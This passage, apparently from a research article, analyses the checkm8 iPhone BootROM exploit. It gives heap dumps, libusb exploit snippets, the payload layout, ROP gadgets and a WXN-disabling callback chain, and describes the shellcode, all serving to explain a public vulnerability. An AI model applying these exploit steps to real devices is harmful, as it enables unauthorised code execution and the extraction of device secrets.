00 00 00 E4 03 00 00 01 00 00 00 ................ 000000B0: 00 00 00 00 00 00 00 00 34 04 00 00 01 00 00 00 ........4....... chunk at 0x91c0 // hs config 0x80 non-free 0x0 0 00000000: 09 02 19 00 01 01 05 80 FA 09 04 00 00 00 FE 01 ................ 00000010: 00 00 07 21 01 0A 00 00 08 00 00 00 00 00 00 00 ...!............ 00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ chunk at 0x9240 // ls config 0x80 non-free 0x0 0 00000000: 09 02 19 00 01 01 05 80 FA 09 04 00 00 00 FE 01 ................ 00000010: 00 00 07 21 01 0A 00 00 08 00 00 00 00 00 00 00 ...!............ 00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ chunk at 0x92c0 0x80 non-free 0x0 0 00000000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000010: 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000020: 6C CC 00 00 01 00 00 00 00 08 0B 80 01 00 00 00 l............... 00000030: F0 F1 F2 F3 F4 F5 F6 F7 F8 F9 FA FB FC FD FE FF ................ chunk at 0x9340 0x80 non-free 0x80 0 00000000: 80 00 00 00 00 00 00 00 00 89 08 80 01 00 00 00 ................ 00000010: FF FF FF FF C0 00 00 00 00 00 00 00 00 00 00 00 ................ 00000020: 48 DE 00 00 01 00 00 00 C0 93 1B 80 01 00 00 00 H............... 00000030: F0 F1 F2 F3 F4 F5 F6 F7 F8 F9 FA FB FC FD FE FF ................ chunk at 0x93c0 0x80 non-free 0x80 0 00000000: 80 00 00 00 00 00 00 00 00 89 08 80 01 00 00 00 ................ 00000010: FF FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000020: 00 00 00 00 00 00 00 00 40 94 1B 80 01 00 00 00 ........@....... 00000030: F0 F1 F2 F3 F4 F5 F6 F7 F8 F9 FA FB FC FD FE FF ................ chunk at 0x9440 0x80 non-free 0x80 0 00000000: 80 00 00 00 00 00 00 00 00 89 08 80 01 00 00 00 ................ 00000010: FF FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000030: F0 F1 F2 F3 F4 F5 F6 F7 F8 F9 FA FB FC FD FE FF ................ chunk at 0x94c0 0x180 non-free 0x80 0 00000000: E4 03 43 00 50 00 49 00 44 00 3A 00 38 00 30 00 ..CPID:.8.0. 00000010: 31 00 30 00 20 00 43 00 50 00 52 00 56 00 3A 00 1.0. .CPRV:. 00000020: 31 00 31 00 20 00 43 00 50 00 46 00 4D 00 3A 00 1.1. .CPFM:. 00000030: 30 00 33 00 20 00 53 00 43 00 45 00 50 00 3A 00 0.3. .SCEP:. 00000040: 30 00 31 00 20 00 42 00 44 00 49 00 44 00 3A 00 0.1. .BDID:. 00000050: 30 00 43 00 20 00 45 00 43 00 49 00 44 00 3A 00 0.C. .ECID:. 00000060: 30 00 30 00 31 00 41 00 34 00 30 00 33 00 36 00 0.0.1.A.4.0.3.6. 00000070: 32 00 30 00 34 00 35 00 45 00 35 00 32 00 36 00 2.0.4.5.E.5.2.6. 00000080: 20 00 49 00 42 00 46 00 4C 00 3A 00 33 00 43 00 .IBFL:.3.C. 00000090: 20 00 53 00 52 00 54 00 47 00 3A 00 5B 00 69 00 .SRTG:.[.i. 000000A0: 42 00 6F 00 6F 00 74 00 2D 00 32 00 36 00 39 00 Boot-.2.6.9. 000000B0: 36 00 2E 00 30 00 2E 00 30 00 2E 00 31 00 2E 00 6...0...0...1... chunk at 0x9640 // zlps[1] 0x80 non-free 0x180 0 00000000: 80 00 00 00 00 00 00 00 00 89 08 80 01 00 00 00 ................ 00000010: FF FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000030: F0 F1 F2 F3 F4 F5 F6 F7 F8 F9 FA FB FC FD FE FF ................ chunk at 0x96c0 // descs[0], Nonce 0x140 non-free 0x80 0 00000000: EA 03 20 00 4E 00 4F 00 4E 00 43 00 3A 00 35 00 .. .NONC:.5. 00000010: 35 00 46 00 38 00 43 00 41 00 39 00 37 00 41 00 5.F.8.CA9.7.A. 00000020: 46 00 45 00 36 00 30 00 36 00 43 00 39 00 41 00 FE6.0.6.C.9.A. 00000030: 41 00 31 00 31 00 32 00 44 00 38 00 42 00 37 00 A.1.1.2.D.8.B.7. 00000040: 43 00 46 00 33 00 35 00 30 00 46 00 42 00 36 00 CF3.5.0.FB6. 00000050: 35 00 37 00 36 00 43 00 41 00 41 00 44 00 30 00 5.7.6.CAAD0. 00000060: 38 00 43 00 39 00 35 00 39 00 39 00 34 00 41 00 8.C.9.5.9.9.4.A. 00000070: 46 00 32 00 34 00 42 00 43 00 38 00 44 00 32 00 F.2.4.BC8.D.2. 00000080: 36 00 37 00 30 00 38 00 35 00 43 00 31 00 20 00 6.7.0.8.5.C.1. . 00000090: 53 00 4E 00 4F 00 4E 00 3A 00 42 00 42 00 41 00 SNON:.BBA 000000A0: 30 00 41 00 36 00 46 00 31 00 36 00 42 00 35 00 0.A.6.F.1.6.B.5. 000000B0: 31 00 37 00 45 00 31 00 44 00 33 00 39 00 32 00 1.7.E.1.D.3.9.2. chunk at 0x9800 // descs[1], Manufacturer 0x80 non-free 0x140 0 00000000: 16 03 41 00 70 00 70 00 6C 00 65 00 20 00 49 00 ..Apple .I. 00000010: 6E 00 63 00 2E 00 D6 D7 D8 D9 DA DB DC DD DE DF nc............ 00000020: E0 E1 E2 E3 E4 E5 E6 E7 E8 E9 EA EB EC ED EE EF ................ 00000030: F0 F1 F2 F3 F4 F5 F6 F7 F8 F9 FA FB FC FD FE FF ................ chunk at 0x9880 // descs[2], Product 0x80 non-free 0x80 0 00000000: 3E 03 41 00 70 00 70 00 6C 00 65 00 20 00 4D 00 >.Apple .M. 00000010: 6F 00 62 00 69 00 6C 00 65 00 20 00 44 00 65 00 obile .De 00000020: 76 00 69 00 63 00 65 00 20 00 28 00 44 00 46 00 vice .(.DF 00000030: 55 00 20 00 4D 00 6F 00 64 00 65 00 29 00 FE FF U. .Mode)... chunk at 0x9900 // descs[3], Serial number 0x140 non-free 0x80 0 00000000: C6 03 43 00 50 00 49 00 44 00 3A 00 38 00 30 00 ..CPID:.8.0. 00000010: 31 00 30 00 20 00 43 00 50 00 52 00 56 00 3A 00 1.0. .CPRV:. 00000020: 31 00 31 00 20 00 43 00 50 00 46 00 4D 00 3A 00 1.1. .CPFM:. 00000030: 30 00 33 00 20 00 53 00 43 00 45 00 50 00 3A 00 0.3. .SCEP:. 00000040: 30 00 31 00 20 00 42 00 44 00 49 00 44 00 3A 00 0.1. .BDID:. 00000050: 30 00 43 00 20 00 45 00 43 00 49 00 44 00 3A 00 0.C. .ECID:. 00000060: 30 00 30 00 31 00 41 00 34 00 30 00 33 00 36 00 0.0.1.A.4.0.3.6. 00000070: 32 00 30 00 34 00 35 00 45 00 35 00 32 00 36 00 2.0.4.5.E.5.2.6. 00000080: 20 00 49 00 42 00 46 00 4C 00 3A 00 33 00 43 00 .IBFL:.3.C. 00000090: 20 00 53 00 52 00 54 00 47 00 3A 00 5B 00 69 00 .SRTG:.[.i. 000000A0: 42 00 6F 00 6F 00 74 00 2D 00 32 00 36 00 39 00 Boot-.2.6.9. 000000B0: 36 00 2E 00 30 00 2E 00 30 00 2E 00 31 00 2E 00 6...0...0...1... chunk at 0x9a40 // zlps[0] 0x80 non-free 0x140 0 00000000: 80 00 00 00 00 00 00 00 00 89 08 80 01 00 00 00 ................ 00000010: FF FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000020: 00 00 00 00 00 00 00 00 40 96 1B 80 01 00 00 00 ........@....... 00000030: F0 F1 F2 F3 F4 F5 F6 F7 F8 F9 FA FB FC FD FE FF ................ chunk at 0x9ac0 0x46540 free 0x80 0 00000000: 00 00 00 00 00 00 00 00 F8 8F 08 80 01 00 00 00 ................ 00000010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000060: 00 00 00 00 00 00 00 00 01 00 00 00 00 00 00 00 ................ 00000070: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000080: 00 00 00 00 00 00 00 00 F8 8F 08 80 01 00 00 00 ................ 00000090: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000000A0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000000B0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 

You can also achieve an interesting effect by overflowing the configuration descriptors High Speed and Full Speed that are located right after the IO buffer. One of the fields of a configuration descriptor is responsible for its overall length. By overflowing this field, we can read beyond the descriptor. You can try and do it yourself by modifying the exploit.


2. Allocation and freeing of the IO buffer without clearing the global state


 device = dfu.acquire_device() device.serial_number libusb1_async_ctrl_transfer(device, 0x21, 1, 0, 0, 'A' * 0x800, 0.0001) libusb1_no_error_ctrl_transfer(device, 0x21, 4, 0, 0, 0, 0) dfu.release_device(device) 

At this stage, an incomplete OUT request for uploading the image is created. At the same time, a global state is initialized, and the address of the buffer in the heap is written to the io_buffer . Then, DFU is reset with a DFU_CLR_STATUS request, and a new iteration of DFU begins.


3. Overwriting usb_device_io_request in the heap with use-after-free


 device = dfu.acquire_device() device.serial_number stall(device) leak(device) leak(device) libusb1_no_error_ctrl_transfer(device, 0, 9, 0, 0, t8010_overwrite, 50) 

At this stage, a usb_device_io_request type object is allocated in the heap, and it is overflown with t8010_overwrite , whose content was defined at the first stage.


The values of t8010_nop_gadget and 0x1800B0800 should overflow the fields callback and next of the usb_device_io_request structure.


t8010_nop_gadget is shown below and conforms to its name, but besides function return, the previous LR register is restored, and because of that the call free is skipped after the callback function in usb_core_complete_endpoint_io . This is important, because we damage the heap's metadata due to overflow, which would affect the exploit in case of a freeing attempt.


 bootrom:000000010000CC6C LDP X29, X30, [SP,#0x10+var_s0] // restore fp, lr bootrom:000000010000CC70 LDP X20, X19, [SP+0x10+var_10],#0x20 bootrom:000000010000CC74 RET 

next points to INSECURE_MEMORY + 0x800 . Later, INSECURE_MEMORY will store the exploit's payload, and at the offset of 0x800 in the payload, there is a callback-chain , which we'll discuss later on.


4. Placing the payload


 for i in range(0, len(payload), 0x800): libusb1_no_error_ctrl_transfer(device, 0x21, 1, 0, 0, payload[i:i+0x800], 50) 

At this stage, every following packet is put into the memory area allocated for the image. The payload looks like this:


 0x1800B0000: t8010_shellcode # initializing shell-code ... 0x1800B0180: t8010_handler # new usb request handler ... 0x1800B0400: 0x1000006a5 # fake translation table descriptor # corresponds to SecureROM (0x100000000 -> 0x100000000) # matches the value in the original translation table ... 0x1800B0600: 0x60000180000625 # fake translation table descriptor # corresponds to SecureRAM (0x180000000 -> 0x180000000) # matches the value in the original translation table 0x1800B0608: 0x1800006a5 # fake translation table descriptor # new value translates 0x182000000 into 0x180000000 # plus, in this descriptor,there are rights for code execution 0x1800B0610: disabe_wxn_arm64 # code for disabling WXN 0x1800B0800: usb_rop_callbacks # callback-chain 

5. Execution of callback-chain


 dfu.usb_reset(device) dfu.release_device(device) 

After USB reset, the loop of canceling incomplete usb_device_io_request in the queue by going through a linked list is started. In the previous stages, we replaced the rest of the queue, which allows us to control the callback chain. To build this chain, we use this gadget:


 bootrom:000000010000CC4C LDP X8, X10, [X0,#0x70] ; X0 - usb_device_io_request pointer; X8 = arg0, X10 = call address bootrom:000000010000CC50 LSL W2, W2, W9 bootrom:000000010000CC54 MOV X0, X8 ; arg0 bootrom:000000010000CC58 BLR X10 ; call bootrom:000000010000CC5C CMP W0, #0 bootrom:000000010000CC60 CSEL W0, W0, W19, LT bootrom:000000010000CC64 B loc_10000CC6C bootrom:000000010000CC68 ; --------------------------------------------------------------------------- bootrom:000000010000CC68 bootrom:000000010000CC68 loc_10000CC68 ; CODE XREF: sub_10000CC1C+18↑j bootrom:000000010000CC68 MOV W0, #0 bootrom:000000010000CC6C bootrom:000000010000CC6C loc_10000CC6C ; CODE XREF: sub_10000CC1C+48↑j bootrom:000000010000CC6C LDP X29, X30, [SP,#0x10+var_s0] bootrom:000000010000CC70 LDP X20, X19, [SP+0x10+var_10],#0x20 bootrom:000000010000CC74 RET 

As you can see, at the offset of 0x70 from the pointer to the structure, the call's address and its first argument are loaded. With this gadget, we can easily make any f(x) type calls for arbitrary f and x .


The entire call chain can be easily emulated with Unicorn Engine . We did it with our modified version of the plugin uEmu .



The results of the entire chain for iPhone 7 can be found below.


5.1. dc_civac 0x1800B0600


 000000010000046C: SYS #3, c7, c14, #1, X0 0000000100000470: RET 

Clearing and invalidating the processor's cache at a virtual address. This will make the processor address our payload later.


5.2. dmb


 0000000100000478: DMB SY 000000010000047C: RET 

A memory barrier that guarantees the completion of all operations with the memory done before this instruction. Instructions in high-performance processors can be executed in an order different from the programmed one for the purpose of optimization.


5.3. enter_critical_section()


Then, interrupts are masked for the atomic execution of further operations.


5.4. write_ttbr0(0x1800B0000)


 00000001000003E4: MSR #0, c2, c0, #0, X0; [>] TTBR0_EL1 (Translation Table Base Register 0 (EL1)) 00000001000003E8: ISB 00000001000003EC: RET 

A new value of the table register TTBR0_EL1 is set in 0x1800B0000 . It is the address of INSECURE MEMORY where the exploit's payload is stored. As was mentioned before, the translation descriptors are located at certain offsets in the payload:


 ... 0x1800B0400: 0x1000006a5 0x100000000 -> 0x100000000 (rx) ... 0x1800B0600: 0x60000180000625 0x180000000 -> 0x180000000 (rw) 0x1800B0608: 0x1800006a5 0x182000000 -> 0x180000000 (rx) ... 

5.5. tlbi


 0000000100000434: DSB SY 0000000100000438: SYS #0, c8, c7, #0 000000010000043C: DSB SY 0000000100000440: ISB 0000000100000444: RET 

The translation table is invalidated in order to translate addresses according to our new translation table.


5.6. 0x1820B0610 - disable_wxn_arm64


 MOV X1, #0x180000000 ADD X2, X1, #0xA0000 ADD X1, X1, #0x625 STR X1, [X2,#0x600] DMB SY MOV X0, #0x100D MSR SCTLR_EL1, X0 DSB SY ISB RET 

WXN (Write permission implies Execute-never) is disabled to allow us execute code in RW memory. The execution of the WXN disabling code is possible due to the modified translation table.


5.7. write_ttbr0(0x1800A0000)


 00000001000003E4: MSR #0, c2, c0, #0, X0; [>] TTBR0_EL1 (Translation Table Base Register 0 (EL1)) 00000001000003E8: ISB 00000001000003EC: RET 

The original value of the TTBR0_EL1 translation register is restored. It is necessary for the correct operation of BootROM during the translation of virtual addresses because the data in INSECURE_MEMORY will be overwritten.


5.8. tlbi


The translation table is reset again.


5.9. exit_critical_section()


Interrupt handling is back to normal.


5.10. 0x1800B0000


Control is transferred to the initializing shellcode .


Thus, the main task of callback-chain is to disable WXN and transfer control to the shellcode in RW memory.


6. Execution of shellcode


The shellcode is in src/checkm8_arm64.S and does the following:


6.1. Overwriting USB configuration descriptors


In the global memory, two pointers to configuration descriptors usb_core_hs_configuration_descriptor and usb_core_fs_configuration_descriptor located in the heap are stored. In the third stage, these descriptors were damaged. They are necessary for the correct interaction with a USB device, so the shellcode restores them.


6.2. Changing USBSerialNumber


A new string descriptor with a serial number is created with a substring " PWND:[checkm8]" added to it. This will help us understand if the exploit was successful.


6.3. Overwriting the pointer of the USB request handler


The original pointer to the handler of USB requests to the interface is overwritten by a pointer to a new handler, which will be placed in the memory at the next step.


6.4. Copying USB request handler into TRAMPOLINE memory area ( 0x1800AFC00 )


Upon receiving a USB request, the new handler checks the wValue of the request against 0xffff and if they're not equal, it transfers control back to the original handler. If they are equal, various commands can be executed in the new handlers, like memcpy , memset , and exec (calling an arbitrary address with an arbitrary set of arguments).


Thus, the analysis of the exploit is complete.


The implementation of the exploit at a lower level of working with USB


As a bonus and an example of the attack at lower levels, we published a Proof-of-Concept of the checkm8 implementation on Arduino with USB Host Shield . The PoC works only for iPhone 7 but can be easily ported to other devices. When an iPhone 7 in DFU mode is connected to USB Host Shield , all the steps described in this article will be executed, and the device will enter PWND:[checkm8] mode. Then, it can be connected to a PC via USB to work with it using ipwndfu (to dump memory, use crypto keys, etc.). This method is more stable than using asynchronous requests with a minimal timeout because we work directly with the USB controller. We used the USB_Host_Shield_2.0 library. It needs minor modifications; the patch file is also in the repository.



In place of a conclusion


Analyzing checkm8 was very interesting. We hope that this article will be useful for the community and will motivate new research in this area. The vulnerability will continue to influence the jailbreak community. A jailbreak based on checkm8 is already being developed — checkra1n , and since the vulnerability is unfixable, it will always work on vulnerable chips ( A5 to A11 ) regardless of the iOS version. Plus, there are many vulnerable devices, like iWatch , Apple TV , etc. We expect more interesting projects for Apple devices to come.


Besides jailbreak, this vulnerability will also influence the researchers of Apple devices. With checkm8 , you can already boot iOS devices in verbose mode, dump SecureROM , or use the GID key to decrypt firmware images. Although, the most interesting application for this exploit would be entering debug mode on vulnerable devices with a special JTAG/SWD cable . Before that, it could only be done with special prototypes that are extremely hard to get or with the help of special services . Thus, with checkm8 , Apple research becomes way easier and cheaper.


References


  1. Jonathan Levin, *OS Internals: iBoot
  2. Apple, iOS Security Guide
  3. littlelailo, apollo.txt
  4. usb.org
  5. USB in a NutShell
  6. ipwndfu
  7. an ipwndfu fork from LinusHenze

Source: https://habr.com/ru/post/ar472762/


All Articles